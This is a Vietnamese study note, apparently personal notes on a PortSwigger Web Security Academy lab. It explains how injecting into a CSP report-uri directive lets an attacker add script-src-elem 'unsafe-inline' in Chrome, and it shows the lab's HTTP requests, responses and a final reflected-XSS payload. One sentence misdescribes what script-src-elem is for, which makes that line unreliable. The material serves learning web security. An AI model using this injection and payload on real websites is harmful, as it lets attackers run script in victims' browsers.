Một số website chèn user input vào policy, thường là directive report-uri
trong CSP. Khi đó, ta có thể thêm dấu ;
và các directive tùy ý để ghi đè các directive có sẵn1.
Thường thì chúng ta không thể ghi đè directive script-src
. Tuy nhiên, directive script-src-elem
của Chrome cho phép ta thực hiện điều này.
Info
Directive
script-src-elem
được tạo ra để chỉ cho phép các event handler (các thuộc tính có tiền tốon
ở trên các tag) được thực thi script. Ví dụ:Content-Security-Policy: script-src-elem 'none'; script-src-attr 'unsafe-inline'
<script>alert("This will be blocked")</script> <a href="#" onclick="alert('This will be allowed')">test</a>
Lab: Reflected XSS Protected by CSP, with CSP Bypass
Lab này chèn user input vào CSP và mục tiêu là thực thi hàm alert
.
Note
Cần sử dụng Chrome bởi vì Edge sẽ loại bỏ các directive không hợp lệ.
Gửi request để tìm kiếm như sau:
GET /?search=hello HTTP/2
Host: 0a83001203f820b28007c19c009b0057.web-security-academy.net
Cookie: session=XIWj5mk7mGJud5ERZUxcRAMdwkW6n0QY
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a83001203f820b28007c19c009b0057.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Response có các header sau:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
X-Frame-Options: SAMEORIGIN
Content-Length: 3151
Keyword tìm kiếm được chèn vào response như sau:
<section class=blog-header>
<h1>0 search results for 'hello'</h1>
<hr>
</section>
Thêm vào query token
:
GET /?search=hello&token=123 HTTP/2
Host: 0a83001203f820b28007c19c009b0057.web-security-academy.net
Cookie: session=XIWj5mk7mGJud5ERZUxcRAMdwkW6n0QY
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a83001203f820b28007c19c009b0057.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
CSP bị thay đổi như sau:
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=123
X-Frame-Options: SAMEORIGIN
Content-Length: 3151
Sử dụng payload như sau:
?search=<script>alert(1)</script>&token=1;script-src-elem 'unsafe-inline' HTTP/2
Lab: Reflected XSS with AngularJS Sandbox Escape and CSP
Related
list
from outgoing([[Port Swigger - CSP]])
sort file.ctime asc
Resources
- Content security policy | Web Security Academy (portswigger.net)
- Bypassing CSP with policy injection | PortSwigger Research
Footnotes
-
xem thêm Attempt Bypass CSP ↩